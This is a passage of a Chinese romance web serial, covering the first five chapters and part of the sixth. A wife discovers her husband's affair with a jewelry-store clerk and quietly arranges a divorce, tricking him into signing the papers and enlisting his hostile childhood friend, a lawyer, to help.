《渣男不懂我的好,好兄弟来撬墙角》 第一章 他的“新欢” “女士,您已经看了这么多款式了,没有一条项链是喜欢的吗?” “……” “女士?” 宋凝一怔,回过神来。 她顿了顿,然后随便指了一条钻石项链,说道:“就这个吧,给我包起来。” 店员终于松了一口气,如释重负:“好的,您稍等。” 整个珠宝里,所有的店员都喜气洋洋的。 因为宋凝已经连续三个月,每天都要光顾这家珠宝店了。 店员羡慕地说:“宋小姐,您的丈夫已经特别爱您吧?珠宝当白菜买,真是太羡慕了。” 另一个也说:“是啊,都说钱在哪爱在哪,老公肯为您豪掷千金,肯定是爱惨了您。” “老公不但有钱,还是个恋爱脑,宋小姐您真的是人生赢家了……” 宋凝听着这些人恭维的话,淡淡地扯了扯唇角。 她的目光,只落在不远处的一个女店员身上。 她没有围在自己身边夸赞,只是安安静静的帮她打包刚刚买的项链。 一双柔媚无骨的手,莹白漂亮,很是惹眼。 宋凝感觉此时此刻的自己就像是一个偷窥狂。 因为她真的很想近距离观察一下,到底是一个什么样的女人,能让一贯冷静自持的丈夫动了心。 他不惜放弃他们十五年的感情,背叛了他们深爱时候许下的所有约定,义无反顾地爱上了这个看起来很普通的女店员。 那名女店员叫林澜,长相其实算不上特别美艳,只能算得上一句清秀。 但那双手生的实在是美,柔弱无骨,纤瘦合度,女人看了都动心,更何况男人。 临走的时候,宋凝问了一句:“你们能帮我个忙吗?” 她是超级VIP客户,当然是可以的。 于是她从无名指上把戒指退了下来,递给店员:“这个,帮我熔了吧。” 店员惊讶急了:“这个是您的婚戒吧?而且上面好像还有刻字呢……” 确实有刻字。 【FDQ & SN】 是他们两个人名字的首字母,傅东擎爱宋凝。 还是傅东擎亲手刻上去的。 店员又确认了一遍:“宋小姐,这个戒指应该有特别的意义吧?您确定要熔了吗?” “确定,”宋凝语气坚定:“麻烦尽快。” …… 宋凝回到家的时候,已经是傍晚了。 刚一进门,就看到傅东擎急匆匆往外冲。 两人撞了个满怀,宋凝被撞的后退了好几步,差点没站稳。 幸好,一只大手及时捞住了她的腰,让她免于摔倒。 傅东擎微微蹙着眉,额头沁着一层薄汗:“你去哪里了?怎么现在才回来?” “是啊太太,这都七点多了,您晚归怎么也得和先生说一声啊,他差点都要去报警了……” 说话的是家里的佣人刘姨。 而另一边,傅东擎的身后还站着他的助手小何。 看到她的时候,小何明显也松了一口气,然后对着电话那头的人说:“不好意思王警官,我们家太太已经回家了,麻烦你了。” 傅东擎微微俯下身,检查了一下她的周身。 确认她没事之后,傅东擎面色稍霁:“你电话怎么打不通?我还以为你出什么事了。” 他下意识地摸了摸她的脸,随即眉头又皱了起来:“怎么这么冰?” 宋凝推开了他的手,越过他进了屋:“在家里闷得慌,出去吹了一会儿风,手机没电了。” 傅东擎快走了两步,把西装外套脱下来披在她肩头,拥着她走:“晚上风大,别着凉了。 ” 宋凝挣了一下,挣不开,索性由他去了。 一进屋,傅东擎就吩咐刘姨:“去煮一碗红糖姜汤,给阿凝去去寒。” 然后又吩咐小何:“你去兴隆记打包一些饭菜回来,太太喜欢的那几道菜你都知道,嘱咐他们少盐少糖。” “是,傅总。” 其余人都走了,客厅里只剩下她和傅东擎两个人。 他仍旧保持着拥着她肩膀的姿势,强势霸道,但语气也十分和缓:“刚刚我有点着急,语气重了一些,阿凝,你别生气。” 宋凝摇了摇头:“我没生气。” “你最近几天好像都不太开心,是我做错了什么吗?” “我没有不开心。” “你有,”傅东擎说:“我们认识十五年了,你生不生气我还是看得出来的。这几天我也有反思自己,但是我实在是不明白自己到底哪里做错了,你直接告诉我,我改,好吗?” 宋凝抬起头来,看着这个自己爱了十五年的男人,突然觉得有些陌生。 明明他的眉眼还跟从前一样,不过是从清俊桀骜的少年变成了一个成熟稳重事业有成的男人,可不知道为什么,她突然有些不认识他了。 “你想多了,我就是最近生理期而已。” 傅东擎还是有些不相信:“真的只是生理期而已?” 宋凝点了点头:“嗯。” 傅东擎打了个电话出去:“这周我不去公司了,有什么事让小何把文件送到我家来。” 宋凝问他:“你干什么?” “我在家陪你,”傅东擎说:“你心情不好,我在家能陪你说说话。” 宋凝不由得轻笑了一下。 傅东擎问:“笑什么?” “有这么好的老公,我笑不是很正常?” 傅东擎这才笑开了,“阿凝,有什么不开心你要告诉我,我们夫妻一体,别什么事都藏在心里。” “那你呢,你有什么藏在心里没有告诉我的事吗?” 傅东擎玩味地在她唇上啄了一口:“我们结婚三年了,要个孩子吧。” 宋凝没说话,只是从包里拿出来了一叠文件:“这个你看一下,然后签个字吧。” 傅东擎看也没看,直接翻到了最后一页,写上了自己的名字。 然后把文件递还给她:“签好了,给。” 宋凝问:“你都不看看是什么就签了?” “你想要什么我都会给的。阿凝,我知道你一直对生育这件事比较恐惧,如果这些东西能让你多一点安全感,我何乐而不为?” “傅东擎,我觉得你还是先看一下再说……” 手机振动了一下,有消息进来。 是傅东擎的。 他看了一眼,唇角微微勾起,眼神温柔地能滴出水来。 手指在屏幕上戳戳点点,回复对方。 过了一会儿,他突然站了起来。 “阿凝,我出去打个电话。” “嗯,好。” 傅东擎出去之后,宋凝也起了身,往车库去。 发动车子,车载屏幕亮起。 上面果然还同步登录着傅东擎的微信。 他方才的聊天记录,清晰地显示在屏幕上。 【澜宝:今天那个富婆又来买首饰啦!耶耶耶,我这个月工资可高了,请你吃大餐!】 【傅东擎:这么开心?】 【澜宝:当然了嘿嘿嘿,老天爷保佑,富婆天天来!我爱富婆姐姐!】 【傅东擎:我之前也天天买,也没见你这么爱我。】 【澜宝:那怎么能一样,她可是我尊贵的VVVIP!!!】 【傅东擎:那我呢?】 【澜宝:你已经被我打入冷宫啦!谁也不能阻止我搞事业的脚步!】 【傅东擎:用完就扔,嗯?】 【澜宝:哈哈哈哈,我们打电话吧,富婆姐姐今天试戴了几十条项链,收拾的我累死了,打字手困。】 【傅东擎:好。】 宋凝盯着那个【澜宝】的微信名看了很久,闭上了眼睛。 那个叫林澜的女店员,还有她那双漂亮的手,那些画面无孔不入地往她脑子里钻。 熄火,回家。 沙发上,傅东擎刚刚签好的那份文件还原模原样的摆着。 她把文件收好,重新装进包里。 文件的版头上,黑色加粗字体写着五个字:【离婚协议书】。 﨔 第二章 离开倒计时 在离婚协议书旁边的,是另外一份文件。 她找私家侦探,去查过这个林澜。 23岁,中专学历,学护理的,郊县出生,父母都在H市打零工,家里还有一个不学无术的赌鬼弟弟。 宋凝刚开始发现傅东擎和她关系的时候,想破了脑袋都想不明白,这样一个长相,身材,学历,家庭都不怎么样的女孩,凭什么让傅东擎动了心? 只是因为那双手生的美? 还是说,他们十五年的感情,他只是单纯的腻了? 傅东擎回来的时候,宋凝还坐在原位上,仿佛从来没有去过车库,更不曾看到过他的秘密。 他唇角还噙着笑意,眼中的温柔也还未散去,随手把手机放回西装内侧的口袋里,有些抱歉地说道:“阿凝,我得出去一趟。” 保姆刘姨煮好了红糖姜汤正好端出来,疑惑地问:“先生这么晚还要出去吗?是工作上的事吧?” 傅东擎“嗯”了一声,声音很轻:“有个很重要的人,说是要请我吃饭。” …… 傅东擎开车很快离开了。 保姆说:“太太,喝点姜汤去去寒吧,先生特意吩咐的。” 宋凝接过:“太烫了,晾一会儿我就喝。时间不早了,你去休息吧。” “太太您一定记得喝啊。” “知道了。” 保姆卸下了围裙,离开了别墅。 宋凝快速把红糖姜汤倒进了马桶冲掉,然后戴上了墨镜和口罩,出了门。 她拦了一辆出租车,“跟上前面那辆车。” 半小时后,傅东擎的黑色路虎揽胜在一个有些破败的老式筒子楼下停稳。 过了几分钟,楼里跑出来一抹纤细的身影,熟练地拉开了他副驾驶的车门坐了进去。 那双洁白莹润的素手攀着男人宽阔的肩膀,仰头送上了红唇。 即便早已经有了心理准备,但真真切切看到了车里拥吻的两个人,宋凝还是好半晌没反应过来。 “小姐,他们走了,继续跟吗?” 宋凝如梦初醒:“跟。” 十分钟后,傅东擎带着林澜进了一家酒吧。 从下车开始,林澜就一直亲昵地挽着傅东擎的手臂,叽叽喳喳地说这话,像是一只快乐的小鸟。 包厢外,是几个早就等在那里的人。 见了傅东擎和林澜,乖乖叫人:“大哥,大嫂。” 林澜有些惶恐地看着酒吧里奢华的装修,撒娇似得说道:“不是说好我请你吃饭的吗?这种地方我可请不起。” 傅东擎宠溺地说:“那你想请哪里?夜市上的路边摊?” 林澜可爱地噘嘴:“路边摊多好吃啊,我可以请你从街头吃到街尾。” “然后,我从凌晨拉肚子拉到第二天下午。” 林澜吐了吐舌头,“谁知道你的胃那么金贵啊,我天天吃夜市都好好的啊。” 旁边的小弟哈哈大笑:“嫂子这么勤俭持家,还是大哥有福气。” 是啊,林澜勤俭持家,只有她是个天天去逛街买首饰的败家子。 …… 宋凝回到家的时候,已经是凌晨了。 在手机上约了快递,洗个澡,昏沉沉睡去。 早起的时候,傅东擎正在背对着她穿衬衫。 宋凝有点疑惑:“你昨晚……回来睡的?” 傅东擎轻笑:“这话说的,我哪天没有回家过夜?” “你不是应该……” 跟你的小情人共度良宵么? 傅东擎突然欺身而下,把她压在了身下:“还是说……你昨晚一直在等我回来……生孩子?” 最后几个字,夹杂着滚烫的气息,已经到了她的唇边。 他的吻重重落下,明显不止是浅尝辄止而已。 宋凝用手臂用力的推拒着:“你起来。” 傅东擎的眼中还蒙着一层火焰的迷蒙,微微在她身上支起身子:“怎么了?” 宋凝:“我……” 叮铃铃—— 电话响起。 宋凝飞快的接了起来:“对,我是。你已经到了是吗?好的,我马上下来。” 宋凝推开他,下床。 傅东擎中途被打断,心情不是很好:“谁啊,一大早给你打电话?而且还是个男的?” 宋凝微微沉着脸:一边穿外套一边下了逐客令:“时间不早了,你不去上班?” “你忘了?昨天我已经让小何吩咐下去了,最近我都不去公司了,在家陪你。” “我很好,不需要你陪。” 傅东擎站了起来,从身后圈住她的腰,在她后劲上留下一连串轻吻:“没有我,你一个人怎么生孩子?” 说着,禁锢在她腰上的力道又大了几分,带着暗示的意味。 宋凝来了些火气,推他的力道更大了些:“你放开我。” 傅东擎只当是男女之间的推拉,握着她的下巴吻了下去,含糊说道:“我不放。” “放开!” 宋凝也不知道哪里来的力气,挣脱了他的怀抱。 傅东擎有些愣住了,手臂还保持着环抱她的姿势,可眼神里酝酿着不满和疑惑:“阿凝,你到底怎么了?” 宋凝转过身去,把被他弄乱的衣服整理好,“没怎么,约了快递,不好让人家等太久。” 宋凝下楼的时候,快递小哥已经被保姆请到了客厅。 见她下楼,小哥有些拘谨地站了起来:“宋小姐,是您要寄东西是吗?” 宋凝点了点头,“你跟我上来吧。” 宋凝在前面带路,小哥跟着她一起进了卧室。 傅东擎抱着手臂靠在一边,看向快递小哥的眸色带着敌意:“谁让你进来的?出去!” 小哥顿时有些慌乱:“是宋小姐……” “是我,”宋凝一边说,一边拉开了衣柜,然后对快递小哥说道:“就这几个箱子,你称一下重量吧。” 傅东擎看着从满满当当变成空空如也的衣柜,眉心蹙起:“阿凝,你的衣服呢?” 宋凝指了指那些箱子。 “你打包衣服干什么?你要走?!” 傅东擎站直了身体,一把握住她的肩:“阿凝,你要去哪儿?” 﨔 第三章 她不是离了男人就不能活 宋凝仰头,看着这个自己爱了十五年的男人,唇角微微勾起。 她是要走,但不是现在。 离婚协议虽然已经骗他签了,但距离拿到离婚证,还有三十天的冷静期。 傅东擎现在的状态她算是看明白了,家里红旗不倒,外面彩旗飘飘,一边跟她备孕,一边不耽误他在外面“换换新口味”。 他以为只要瞒得住,这样的日子就能长长久久的过下去。 只可惜,他还是低估了女人的第六感。 他的确已经做的足够谨慎,但十五年的相处不是假的,他的一个神态一个动作,就足以让她察觉到端倪,并且顺藤摸瓜查到了那个叫林澜的女人。 宋凝谁也不怪,喜新厌旧,人性使然。 傅东擎可以脚踩两条船,她就算是其中一条,却也不想在被困在这一个港湾里。 远方有江河湖海,哪里都能乘风破浪。 她宋凝,不是离了男人就不能活。 “说话!为什么把衣服全都打包了?” 傅东擎愠怒,握着她肩膀的力道也有些控制不住,宋凝吃痛,惊呼出声。 傅东擎松开了手,目光仍旧停留在她脸上,逼她给出一个答案。 宋凝轻轻笑开:“这些衣服都过季了,我不喜欢了,准备全部捐掉买新的,怎么,昨天你刚说过让我想买什么随便买,不用再知会你,现在就准备反悔了?” 傅东擎微微怔了一下,“你打包这些衣服……是要捐了?” 宋凝点了点头:“扔了可惜,不如捐了,还能物尽其用。” 傅东擎如释重负,嗤笑了一声:“吓死我了,我以为你准备打包东西离开我了。” “你又没做什么对不起我的事情,我为什么要离开?” “是啊,我们感情这么好,你怎么舍得离开?” 快递小哥在旁边吃瓜吃了个爽,顺便还吃了一嘴“狗粮”,但仍旧比不上这一桩大生意带给他的喜悦。 足足四个大箱子,至少也得几十公斤。 大单! 他的心情好的不行,说话也带着喜气:“要我看,就是先生太紧张宋小姐了,宋小姐你可真是好福气啊,现在这么专一的男人可不多喽!” 傅东擎占有似得搂着宋凝的腰,“听见没?我这种好老公,打着灯笼都难找,你可得好好珍惜。” 宋凝再一次推开了他:“我手机呢?一会儿要给人家付钱的。” …… 吃完早饭后,傅东擎回了书房。 每周三的早上是高管例会,他虽然不去公司,但还是得开视频会议。 宋凝也打了个电话出去。 “方律师,离婚协议你看过了吗?冷静期一过就拿证,有没有什么问题?” 电话对面的方律师说:“协议本身没什么问题,你们没有孩子,不牵扯抚养权,财产上您什么也没要,应该问题也不大,但是……” “但是什么?” “去民政局办离婚证的时候,终究还是得傅总亲笔签字才行,您确定他愿意离婚?” 宋凝皱眉:“有没有什么别的办法,能绕过他把婚离了?” “很难。” 宋凝冷笑一声,转了一笔钱到方律师的账户:“现在呢,有办法了吗?” 那边的态度立马一百八十度大转变:“虽然难,但办法肯定是有的。” “说。” “可以让傅总签署一份委托书,由他的代理律师出面,跟您一起办理离婚手续。” 宋凝想了一下,签一份文件而已,之前已经成功过一次,再签一份应该不难。 “好我知道了,你帮我准备一下委托书,我想办法让他签字,之后你跟我一起去办手续……” “那可不行那可不行……” 此人太贪心,宋凝的耐心也所剩不多:“你放心,事成之后,报酬不会少你的。” “不是报酬的问题,”方律师为难地说:“傅总迟早总会知道真相的,您离了婚是可以远走高飞了,但我还得再H市谋生啊,他要是报复我,我们小律所哪里招架得住……” “那你说怎么办?” “嘶……不知道宋小姐有没有其他信得过的律师?最好是那种,干完这一票就跑路的那种?” 讼棍? 宋凝不认识。 但是巴不得她和傅东擎离婚的律师,倒是有一个现成的。 …… 下午三点,咖啡厅。 宋凝等了两个小时,对方才姗姗来迟。 “丁律师,好久不见。” 来人身高很高,将近一米九,一身剪裁得体的西装,唇边却噙着一抹戏谑的轻蔑。 丁予期,傅东擎从小到大的铁杆发小,城东丁家的老三。 上面两个哥哥为了争家产打的不可开交,丁三少爷清高,不屑参与家产大战,政法大学毕业之后就远离了家里,当起了律师。 只是不知道为什么,从她跟傅东擎谈恋爱开始,他就对她很不满,敌意很大。 跟傅东擎那些张口闭口叫她嫂子的兄弟们不同,丁予期从来只叫不冷不热的叫她宋小姐。 “宋小姐,什么风把你吹来了?我不认为我跟你之间还有什么话能聊。” 宋凝说:“我是来恭喜丁律的。” 丁予期挑眉:“恭喜我什么?” “得偿所愿,愿望实现。” 宋凝从包包里拿出一叠照片,全都是私家侦探给她的,傅东擎和林澜的亲密照。 有牵手的,有拥抱的,还有……接吻的。 丁予期看到这些,直接笑了出来:“不错,老傅终于是想开了,人生啊,怎么能在一棵歪脖子树上吊死?” 这些年,对于丁予期总是夹枪带棒的阴阳怪气,宋凝已经习惯了。 歪脖子树就歪脖子树吧,眼下,能帮她离婚的,只有他了。 丁予期把照片推回她面前,老神在在地眯着眼睛:“怎么,宋小姐难不成是想要让我劝老傅回归家庭?那你可找错人了,我巴不得你们两个离心离德,同床异梦。” “我知道,”宋凝说:“这一次,我们两个的目标一致。” 丁予期挑眉:“怎么说?” “我会想办法让傅东擎签下一份委托书,由你作为他的委托律师,跟我一起去办理离婚。” 﨔 第四章 十五年的感情,也算有始有终 丁予期有些不解:“宋小姐,你们坚持了十五年,之前我听老傅提过一句,你们还在备孕吧?你……葫芦里卖的什么药?” “丁律就说帮不帮吧。” 丁予期没说话,只是打量着她,似乎想要撕破她的画皮,看透她的阴谋诡计。 恰在这时,服务员端着咖啡过来,脚下却滑了一下,撞到了宋凝。 宋凝一个站不稳,扑进了丁予期的怀里。 而咖啡厅外不远处的角落里,相机快门按下,这个场景被瞬间记录在案。 丁予期敏.感地察觉到了闪光灯,微微愠怒,不轻不重地推开了宋凝,“有人跟踪你。” 宋凝踉跄了一下,扶着桌子站稳了身体:“没有。” “刚刚有人拍我们,”丁予期促狭地说:“宋小姐是不是得罪了什么人?我们两个刚才那个姿势,要是照片被放出去,可不好解释。” 宋凝轻笑:“丁律师身正不怕影子斜,怕什么?” 丁予期挑眉:“宋小姐是不是一直都这么……开放?” 宋凝收拾好自己的东西,戴上了墨镜:“丁律师,我还有事得先走了,离婚这件事我想尽快办,相信你也一样。委托书你弄好之后发我一份电子版,我会想办法让傅东擎签了,之后我们尽快去走离婚流程。” “行。” 宋凝转身出门。 打车离开。 在车上,她收到了几张照片。 都是她和丁予期的。 照片的拍摄角度很刁钻,丁予期好像整个人都环住了她,姿势极其暧昧。 【凝凝,照片你看看,可以不?】 发消息的是她的好友祝如星,一名资深的婚纱摄影师。 抓拍这种暧昧镜头,一把好手。 【可以的,辛苦了星星。】 【我只是不明白,你让我拍这个照片干嘛呀?刺激傅东擎?】 【他对我来说已经不重要了,我没那么闲。】 【那为什么?】 宋凝的手指在屏幕上戳戳点点:【丁予期这个人,乖戾叛逆得很。我怕他给我使绊子,我得拿点把柄在手里。】 祝如星不明白:【你怕他不给你办离婚?不会吧,他不是很希望你跟傅东擎分开的吗?】 宋凝呼出了一口气:【比起我们两个离婚,他更喜欢给我找不痛快。】 已经不是第一次了。 每次她想干什么,这个丁予期就一定会跟她唱反调。 这次她下定决心要离婚,真的怕这位丁三少爷又哪根筋搭不对了,跳出来给她添堵。 她得留个后手。 忽然,出租车一个急刹。 宋凝整个人都被往前甩了一下,重重撞上了前座的靠背。 出租车司机咒骂了一声:“大庭广众拉拉扯扯的,还影响交通!像话吗!” 宋凝这才看到,前方不远处站着一对男女。 男人似乎是地上捡起了一个东西,交给了女人。 女人掩面而泣,感动地抱住了他。 两人就这样在马路中间拥抱,害的好几辆车都来了个急刹。 旁边一辆黑色的小轿车上下来了一个人,语气十分不好:“你们谈恋爱能不能去家里谈?这样很危险不知道吗?!” 傅东擎一手揽着怀里的女人,一手比了个ok的手势,带着笑容解释道:“不好意思,我女朋友的手链掉了,我帮她捡回来。” “掉了也不能顶着车流回来捡啊!万一撞着了算谁的?还有,这几辆车都被你耽误了事情,你得给个说法!” 傅东擎依旧镇静自若,扬声说道:“抱歉各位,今天的损失我来赔偿,几位核实好金额之后可以联系我助理,我三倍赔偿。” 用钱砸人,就是好使。 一听说三倍赔偿,刚刚下车准备跟他理论的几个司机立马就泄了气。 小何赶了过来,快速留了几个司机的电话号码,道路交通又恢复了通畅。 “那个……小姐,你能稍等我一会儿不?我很快的,给个电话就回来。” 三倍赔偿,出租车司机也蠢蠢欲动。 宋凝直接说:“我这趟车费差不多30,就算三倍赔偿也不超过一百。我给你一千,赶紧开车。” “啊!好的好的……” 出租车司机喜气洋洋地踩下了油门。 怪不得人说,有钱能使鬼推磨。 宋凝揉了揉额角,她突然有些理解林澜了。 一个长相英俊,成熟稳重的男人,每天专门光顾你的门店,也不做过分的举动,更不会逼你,只是从你的手中买走一件首饰。 这种徐徐图之却志在必得的追求方式,有几个女人能扛得住? 更何况,是林澜这么一个,原生家庭不好,本身就缺钱的女人。 “刚刚那姑娘,真是命好,男朋友那么帅,还不顾危险回头帮她捡手链,有福气啊。” 宋凝没说话。 出租车司机还在感叹:“可是她男朋友那么有钱,给她重新买一条不就得了,为什么还要返回去捡呢?多危险啊!” 是啊,多危险啊。 宋凝突然想起,她跟傅东擎的相识,也是差不多这样的场景。 那时候她才初二,回家的路上捡到了一只受伤的小猫。 她抱着猫想带去宠物医院给它治疗,可不知怎么的,在过马路的时候小猫突然从她怀里挣脱了出去,在车流里穿梭。 眼看着好几辆车都差点压到小猫,宋凝急得不行,眼睛一闭就要冲出去救猫。 只见一个矫健的身影从对面快速跑了过来,顺势捞起小猫,躲开了车流,快速跑到了她身边。 “你的猫啊?” 少年还穿着白色的篮球衣,额头上还戴着白色的发带,汗水晶莹,顺着他的发梢往下滴。 他把她从马路上拉到了安全的地方,把猫放进她怀里,轻声说道:“猫的命是命,你的命就不是命了吗?多危险你知不知道?” 那时的傅东擎已经是高三,比她大好几岁,还比她高两个头。 宋凝抱着猫,整个人都被他的影子覆盖住了,咬着唇轻轻点了点头。 跟他一起的,还有几个好哥们。 其中一个略有些嫌弃地对宋凝说:“这猫好丑啊,喜欢猫的话重新买一只漂亮的不就行了?你为了一只丑猫冒这么大危险,傻不傻?” 傅东擎皱眉怼他:“闭上你的狗嘴。” “我又没说错,这猫是丑啊,还脏……” “再说明天我就把你臭鞋也扔马路上。” “喂!什么叫臭鞋!这可是我最宝贝的一双球鞋!它有名字,叫未来之翼!” 傅东擎抱着手臂,冷笑:“可是在我看来,它又丑又臭,喜欢鞋的话重新买一双新的不就行了,根本不值得你跑大马路上把它捡回来。” 哥们顿时蔫吧了,不说话了。 傅东擎回过头来,轻笑着安抚她:“好了,没事了,别怕。” “……谢谢。” 傅东擎低头,看了看她的胸卡:“你也是五中的?你叫……宋凝?” “嗯。” 傅东擎轻笑:“我叫傅东擎,以后在学校如果有需要帮忙的,可以随时找我。” 宋凝是个淡人,即便知道了名字,也没去找过傅东擎。 倒是他,一次两次地往宋凝这边跑。 时间长了,谁都看得出来傅东擎是什么意思。 那次相遇,是她跟傅东擎缘分的开始。 而今天这次偶遇,大概就是他们的结束。 宋凝想,这样也好,怎么开始就怎么结束,十五年的感情,爱过甜蜜过,也算是有始有终了。 﨔 第五章 往日种种,付之一炬 宋凝掏出手机,拨了个电话出去。 他接的很快:“阿凝?” “傅东擎,你现在在哪?” “在公司啊,有什么事吗?” 宋凝看着后视镜里,他一手牵着林澜,一手握着手机贴在耳边的样子,只觉得好笑。 林澜貌似想说话,被傅东擎抬手阻止了。 他指了指手机,然后把食指放在唇上做了个噤声的动作。 “阿凝,你想不想吃城东那家的点心?我下班的时候去给你买点。” “不用了。” “你以前不是很喜欢那家的抹茶小蛋糕吗?” “你也说了,那是以前,”宋凝说:“人都是会变的,以前那么喜欢的……现在也不喜欢了。” 傅东擎的声音微微紧张了一些:“阿凝,你是不是遇到什么不开心的事了?我听你的声音不对。” 宋凝说:“没有,你工作吧,不打扰你了。” …… 傅东擎回来的时候,手上拎着小蛋糕。 宋凝正在整理相册。 他们认识的时间太久了,从学生时代到步入社会,一起旅游,一起生活,光是学生时期的相册就有四五本。 傅东擎看到了照片,也有些动容。 他在她身后俯下身,把她半圈在怀里:“怎么在看以前的照片?” 宋凝问他:“怎么又是这么早回来?” 傅东擎轻笑:“想老婆了呗,回来守着你。” 宋凝把相册都整理好,放进了一个纸箱里。 打火机也被她不动声色地抓在掌心,顺势塞进了牛仔裤的口袋。 原本以为他跟小情人还得温存一会儿,她准备把这些相册都烧了的,没想到他提前回来了,把她的计划都打乱了。 “老婆,我怎么觉得你好像不高兴我早点回来陪你?” 宋凝站了起来,躲开他伸出来揽她腰的手,“工作为重。” 傅东擎像是牛皮糖一样贴了上来,“工作哪有你重要?” 他凑近她耳边,“老婆,你最近好像对我冷淡了很多,是不是哪里做错了,惹你生气?” 从前的耳鬓厮磨,是幸福,是甜蜜。 可一旦心里扎了根次,宋凝只觉得恶心。 一想到缠绕在自己腰肢上的手,刚刚也搂过另一个女人,想要亲吻自己的这张嘴或许也亲过别人,她胃里就一阵翻涌。 尤其是,他身上还有若有似无的香味。 不是他的男士香水,是商场里的那种味道。 谁在商场里待的久? 答案已经不言而喻。 宋凝用力推开傅东擎冲进了洗手间,吐了个昏天黑地。 傅东擎一边帮她拍背,一边递给她一张纸巾,他蹙着眉关心的样子不像是假的:“怎么突然就吐了?是不是吃坏东西了?刘姨——” 保姆匆匆赶了过来:“先生。” “今天中午太太吃了什么?是不是食材不新鲜?她胃不好,请你回来就是专门给她调理身体的,怎么突然就吐了?” 刘姨一脸茫然:“午饭太太没在家里吃,说是有事出去了,是不是外面的东西不干净呀?” 傅东擎眉心拧着,沉着声音低斥:“外面的东西不卫生,预制菜也不新鲜,你想吃什么在家里让刘姨给你做,为什么非要出去?” 宋凝吐的有些头晕眼花,听到这话心里更是来了火气:“傅东擎,你是准备把我圈养在家里吗?我连出门的自由都没有?” “我只是想保护你,你一个人出门我不放心,以后你想要去哪里可以告诉我,我带你去。” 宋凝气笑了:“你有空吗?” 又要忙公司的事,又要陪小情人,他是哪吒吗?三头六臂? 傅东擎看了她一会儿,重新抽出纸巾,帮她擦了擦额头的细汗:“你这说的什么话?只要是你的要求,我肯定有空。阿凝,我们这么多年的感情,我的心你还不明白吗?” 他的心? 一劈两半,她不明白。 “哎呀!”刘姨突然惊喜地一拍手:“太太最近脾气不太好,刚刚又吐了,该不会是……怀孕了吧?!” 傅东擎一愣,表情瞬间转为狂喜:“阿凝,你是不是……” “没有。”宋凝说:“我只是觉得气味有点难闻,犯恶心而已。” “不行,我们还是得去检查一下……” “傅东擎!”宋凝低吼出声:“这三个月里你自己做没做过,自己心里没点数吗?!” 想起这个,宋凝就觉得可笑。 最近这三个月,傅东擎很少在家里吃饭,都说是外面有饭局,吃过了。 一开始宋凝也没太在意,他现在这个身份地位,想要请他吃饭的人排队都能排出几里地去。 还是有一次她无聊在家里刷剧,听到了一句话。 “男人回家不想吃,多半是在外面吃饱了。” 而这句话,成功点醒了宋凝,也撕开了一个血淋淋的事实—— 时间的长短并不能衡量感情是否忠贞,人是会变的,当时的爱是真的,后面爱上了别人也是真的。 傅东擎脸色也有些难看:“原来你最近跟我生气,是因为这个。阿凝对不起,最近确实公司事情太多了,忽略了你。我跟你保证,以后每天我都回家陪你吃晚饭,好不好?” “不需要了。”宋凝说:“你忙你的,别耽误你的‘正事’。” “阿凝,别说气话。” “傅东擎,我说的是气话吗?” 傅东擎的眸光闪了闪:“……我不太明白你的意思。” 宋凝的目光落在了他的手腕上。 一条红色编织线做成的手链,没有珠宝,没有钻石,就这么简单朴素。 甚至手工还有些粗糙。 一看,就是手工编的。 只坠着一个小小的金属片,是个月牙的形状。 傅东擎注意到了她的视线,连忙解释道:“哦,这不是快端午节了么,公司行政给大家买的,公司里每人都有。” 宋凝收回目光:“是嘛。” “你喜欢吗?我明天让行政拿一条给你。” “不了,我不喜欢戴首饰。” 傅东擎点了点头:“我知道,你不喜欢束缚,什么项链手链,戒指耳环,你通通都不喜欢。每次你过生日或者是我们的纪念日,我都不知道该送你什么好。” “我有个想要的东西,你能送我吗?” 傅东擎有些惊喜:“当然,你想要什么?” “我想买一颗小行星,用我的名字命名。” “这有什么难的,”傅东擎立刻掏出手机要打电话:“我这就让小何去办……” “不用了,我已经都看好了,只差你签字,银行就能打款。” 傅东擎点了点头:“在哪里签字?我现在就签。” “不着急,过几天吧,他们会把文件寄给我,到时候我拿给你签。” “好。” 宋凝说:“你先出去,我想换件衣服。” 傅东擎轻笑:“我们都这么多年了,什么没看过?还害羞啊。” “我不习惯换衣服的时候被人看着。” 傅东擎宠溺地在她眉心落下一吻:“好,都听你的,我先去餐厅等你,你换好衣服快点下楼吃饭。” “嗯。” 傅东擎出去了,刘姨也跟着一起离开了。 宋凝拿出手机,刷新了一下朋友圈。 第一条,就是林澜发的。 【林澜:愿我如星君如月,夜夜流光相皎洁。今天差点把你弄丢了,还好有他,帮我找回了你。】 配图,是她那双漂亮的手。 手腕上,是一条手工编织的红线绳手链,也坠着一个金属片,形状是一颗星星。 正好跟傅东擎那个月亮,配成一对。 宋凝把那几本相册一口气烧了个精光,灰烬也倒进马桶,冲了个干干净净。 﨔 第六章 我要你何用? 晚饭的时候,刘姨炖了很滋补的益母草乌鸡汤。 刘姨给她盛了一碗:“太太,您喝这个。” 然后又给傅东擎盛了一碗其他的汤,“先生,您喝这个。” 傅东擎用筷子挑了挑汤里面的内容,神色顿时变得有些复杂:“刘姨,我就不用喝了吧?” 刘姨也有些不好意思,嘿嘿笑了一下:“您跟太太不是在备孕么,多补补总不是坏事。” 傅东擎看向宋凝,眼波微闪:“我跟阿凝感情好,根本用不上这个。” 宋凝问:“什么东西?” 刘姨说:“鹿血虎鞭汤。” 难怪宋凝觉得整个客厅都有一股怪怪的味道。 傅东擎抿着唇轻笑:“刘姨,今晚给你放假,一会儿厨房也不用收拾了,早点回去吧。” 刘姨一听就明白了:“谢谢先生,我这就走。” 傅东擎点了点头,然后把碗里的汤水一饮而尽。 不知道是不是宋凝的错觉,他喝汤的时候,眼睛一直落在她身上,闪着火热的光。 宋凝发了条消息出去:【来一趟,立刻。】 丁予期:【?】 宋凝:【你再不来,你的好兄弟可又要栽到我的魔爪里了。】 果然,丁予期回的很快:【马上。】 宋凝嗤笑了一声。 丁律这人可真有意思。 要不是听说过他有喜欢的女人,她一定会以为他是个弯的,而且暗恋傅东擎多年而不得。 “给谁发消息呢?” 声音在耳边响起,带着微微的烫。 宋凝吓了一跳:“你别靠我这么近,热。” “热就去洗个澡?”傅东擎打横抱起她:“我们一起洗。” 说着,抱着她就往楼上卧室走。 “等一下……” 话音还没落,傅东擎的手机就响了。 他似乎迟疑了一下,最后还是把宋凝放了下来。 “你公司有事?” 傅东擎抱了抱她:“你先上去洗,我接个电话就来。” “你确定你接个电话就能来?” 一整天没联系小情人了,不得叫出去见个面? 傅东擎笑:“这么迫不及待?不接了,现在洗。” “别!”宋凝说:“你先接电话吧,万一有重要的事呢。” 傅东擎又看了一眼手机屏幕上的来电显示,“嗯”了一声:“我很快就来。” 